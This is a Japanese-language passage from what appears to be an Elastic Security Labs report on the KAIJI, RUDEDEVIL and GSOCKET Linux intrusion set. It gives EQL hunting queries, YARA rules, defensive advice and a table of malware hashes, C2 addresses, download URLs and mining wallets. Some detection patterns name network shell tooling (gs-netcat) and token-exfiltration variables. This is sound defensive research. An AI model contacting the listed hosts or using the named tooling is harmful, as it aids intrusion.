Elasticセキュリティは、行動型SIEMとエンドポイントルール、YARAシグネチャ、MLベースの異常検出アプローチを活用して、脅威検出にマルチレイヤーアプローチを実装しています。 このセクションでは、特定された脅威を捕捉する上で大きな役割を果たす、Elasticセキュリティが構築する検知について説明します。

検知

この侵入セットの分析を通じて、次の検出ルールが観察されました。

予防

この侵入セットの分析全体で、次の動作防止イベントが観察されました。

次のYARAシグネチャは、KAIJIおよびRUDEDEVILマルウェアサンプルをファイルおよびメモリ内の両方で検出するために配置されています。

次のエンドポイントルールアラートは、まもなくリリースされますが、この侵入セットの分析全体で観察されました。

  • Web サーバー経由の潜在的なシェル
  • Web サーバー・コード・インジェクションの可能性
  • Web サーバー ユーザーによって実行される潜在的なシェル
  • Webサーバー経由でアクティビティをデコード
  • Linux Telegram API Request
  • 不審なエコー処刑

Elastic でのハンティングクエリ

KQL と EQL の両方のイベントは、Elastic Defend 統合を使用して Elastic Agent で提供されます。 ハンティング クエリは、高いシグナルまたは誤検出を返す可能性があります。 これらのクエリは、疑わしい可能性のある動作を特定するために使用されますが、結果を検証するには調査が必要です。

EQL クエリ

Kibanaのセキュリティソリューションの「Timeline」セクションの「Correlation」タブを使用すると、以下のEQLクエリを使用して、同様の動作をハンティングできます。

XMRIGの実行の可能性

次のEQL問合せを使用して、環境内のXMRIG実行をハンティングできます。

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

MSR 書き込みアクセスが有効

XMRIG は modprobe を利用して、MSR への書き込みアクセスを有効にします。 このアクティビティは異常であり、デフォルトでは発生しません。

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

潜在的な GSOCKET アクティビティ

このアクティビティは、推奨されるデプロイ方法で GSOCKET をデプロイする場合の既定の動作です。 さらに、GSOCKET を介したよりカスタマイズされた侵入を見逃す可能性を減らすために、いくつかの引数がクエリに追加されます。

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Exec による潜在的なプロセス・マスカレード

GSOCKET は、 exec -a メソッドを利用して、別の名前でプロセスを実行します。 GSOCKETは特にカーネルプロセスとしてマスカレードを活用しますが、他のマルウェアは異なる方法でマスカレードする可能性があります。

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Renice または Ulimit の実行

KAIJIやRUDEDEVILなどのいくつかのマルウェアは、reniceユーティリティを利用して、プロセスの優先度を変更したり、プロセスのリソース制限を設定したりします。 これは、マイニング プロセスの優先度を上げてマイニング パフォーマンスを最大化するために、マイナー マルウェアによって一般的に使用されます。

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

存在しない cron(d) サービスが開始されました

KAIJIもRUDEDEVILも、/etc/init.d/cron(d)年にcron(d)サービスを作ることで永続性を確立しています。Cronデフォルトでは、 SysV Init サービスは使用されません。 cron(d)サービスの実行は疑わしいため、さらに分析する必要があります。

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

KAIJI からの疑わしい /etc/ プロセス実行

/etc/ ディレクトリは、プロセスの実行に一般的に使用されるディレクトリではありません。KAIJI は、/etc/ ディレクトリに 32678id.services.conf というバイナリを配置して、永続性を確立し、検出を回避することが知られています。

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

/dev/ディレクトリでの隠しファイルの作成

/dev//dev/shm/で隠しファイルを作成することは本質的に悪意があるわけではありませんが、このアクティビティは一般的ではないはずです。KAIJI、GSOCKET、および K4SPREADER などの他のマルウェアは、これらの場所に隠しファイルをドロップすることが知られています。

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

/boot/ の親実行可能ファイルからの疑わしいプロセス実行

KAIJIやXORDDOSなどのマルウェアは、 /boot/ ディレクトリに実行可能ファイルを配置し、これらを利用して永続性を確立することで、検出を回避しようとすることが知られています。

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

ヤラ

Elasticセキュリティは、このアクティビティを識別するためのYARAルールを作成しました。 以下は、カスタム Apache2 マルウェアを識別するためのYARAルールです。

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

GSOCKET とその隣接するツールのいくつかを検出するために、次のシグネチャを作成しました。

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

最後に、このツールがこの侵入中に使用されたと信じる理由があるため、次の署名は オープンソースのLigolo-ngツールを検出するために作成されました。

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

防御のための推奨アクション

マルウェアキャンペーンから効果的に防御し、侵入のリスクを最小限に抑えるには、セキュリティに対する多層的なアプローチを実装することが重要です。 ここでは、優先すべき主な防御策をいくつか紹介します。

  1. Elastic Detection Rulesを最新の状態に保ち、有効にしておく: 事前に構築された検出ルールを含むセキュリティツールが最新の状態であることを確認してください。 継続的な更新により、システムは最新のマルウェアのシグネチャと動作を検出できます。
  2. Elastic Defendで防止モードを有効にする: Elastic Defendを防止モードで設定すると、既知の脅威に対してアラートを発するだけでなく、自動的にブロックされます。 防止モードは、マルウェアやエクスプロイトに対するプロアクティブな防御を保証します。
  3. アラートとログの監視: アラート、ログ、サーバーを定期的に監視して、疑わしいアクティビティの兆候がないか確認します。 異常な動作を早期に検出することで、小さな侵害が本格的な侵害に発展するのを防ぐことができます。
  4. 脅威ハンティングの実施: 検出を回避した可能性のある隠れた脅威について、環境を事前に調査します。 脅威ハンティングは、従来のセキュリティ対策を回避する高度な攻撃や永続的なマルウェアを発見できます。
  5. Webアプリケーションファイアウォール(WAF)の実装:WAFを使用して、未承認または悪意のあるトラフィックをブロックします。 適切に構成されたファイアウォールは、多くの一般的なWeb攻撃を防ぐことができます。
  6. SSHの強力な認証を強制する:SSHアクセスに公開鍵/秘密鍵認証を使用して、ブルートフォース攻撃から保護します。
  7. 安全なコードを書く: すべてのカスタムソフトウェア (特に Web サーバー技術) が安全なコーディング手法に従っていることを確認します。 専門のセキュリティ監査人にコードのレビューを依頼することで、脆弱性が悪用される前に脆弱性を特定し、軽減することができます。
  8. 定期的なパッチ適用とシステムの更新:既知の脆弱性から身を守るためには、サーバー、アプリケーション、ソフトウェアを最新の状態に保つことが不可欠です。 迅速なパッチ適用により、既製のエクスプロイトの標的になるリスクを最小限に抑えることができます。

これらの推奨事項に従うことで、攻撃対象領域を大幅に減らし、進行中または潜在的なマルウェアの脅威に対する防御を強化できます。

観測

この研究では、次の観測量について議論しました。 これらは、 こちらからSTIXまたはECS形式でダウンロードできます。

Observableタイプ名前参考
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1fSHA-256のシステムdXCXMRIG
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684SHA-256のapache2apache2_unpacked
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54ddSHA-256のapache2_upx_packedapache2_upx_packed
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449eSHA-256のdownload.shカイジ・ステージャー
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79SHA-256のlinux_386カイジ x86
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8SHA-256のlinux_amd64カイジ x64
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681bSHA-256のlinux_arm5カイジARM5
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6SHA-256のlinux_arm6カイジARM6
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4SHA-256のlinux_arm64カイジARM64
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745SHA-256のlinux_arm7カイジARM7
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0SHA-256のlinux_mipsKAIJI MIPS
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55SHA-256のlinux_mips64KAIJI MIPS64
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814SHA-256のlinux_mips64elカイジ MIPS64 リトルエンディアン
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988SHA-256のlinux_mips_softfloatカイジミップスソフトフロート
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527SHA-256のlinux_mipselカイジミップス リトルエンディアン
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196SHA-256のlinux_mipsel_softfloatカイジミップス リトルエンディアン ソフトフロート
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344fSHA-256のlinux_ppc64KAIJI PPC64
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7SHA-256のlinux_ppc64elカイジ PPC64 リトルエンディアン
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7SHA-256のl64_v0RUDEDEVIL / LUFICER x64バージョン0
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46SHA-256のl64_v1RUDEDEVIL / LUFICER x64バージョン1
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496aSHA-256のl64_v2RUDEDEVIL / LUFICER x64バージョン2
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055SHA-256のl64_v3RUDEDEVIL / LUFICER x64バージョン3
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941bSHA-256のl86_v0RUDEDEVIL / LUFICER x86バージョン0
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28cSHA-256のl86_v1RUDEDEVIL / LUFICER x86バージョン1
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40SHA-256のl86_v2RUDEDEVIL / LUFICER x86バージョン2
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5SHA-256のl86_v3RUDEDEVIL / LUFICER x86バージョン3
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60SHA-256のhjvhg.exeMiner
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1deSHA-256のmvhhvcp3.exeDONUTLOADER
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976SHA-256のvdfgb.exeMiner
http://gcp.pagaelrescate[.]com:8080/ifindyouURLifindyou.shステージ1
http://gcp.pagaelrescate[.]com:8080/cycnetURLcycnet.shステージ2
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slotURLEnviador_slot.pyステージ3
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXCURLシステムdXCXMRIG
http://38.54.125[.]192:8080/nginx-rcURLnginx-rcLIGOLO-NG
http://62.72.22[.]91/apache2URLapache2カスタムマルウェア
http://62.72.22[.]91/apache2v86URLapache2v86カスタムマルウェア
http://91.92.241[.]103:8002/gk.phpURLgk.phpPHPバックドア
http://hfs.t1linux[.]com:7845/scdsshfkURLscdsshfkXMRIG
gcp.pagaelrescate[.]comドメイン名REFホスティングドメイン
nishabii[.]xyzドメイン名ルーデビルC2
3.147.53[.]183IPv4-アドレスPythonリバースシェルC2
38.54.125[.]192IPv4-アドレスC2サーバー
107.178.101[.]245IPv4-アドレスMalware File Server (Rejetto)
62.72.22[.]91IPv4-アドレスマルウェアをホストするサーバー
91.92.241[.]103IPv4-アドレスC2サーバー
61.160.194[.]160IPv4-アドレスマルウェアをホストするサーバー
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHLXMRウォレットRUDEDEVIL/LUFICERマイニングウォレット
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4PtcXMRウォレットRUDEDEVIL/LUFICERマイニングウォレット
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBzBTCウォレットXMRIGマイニングウォレット

参照資料

上記の研究を通じて、以下のことが参照されました。

この記事を共有する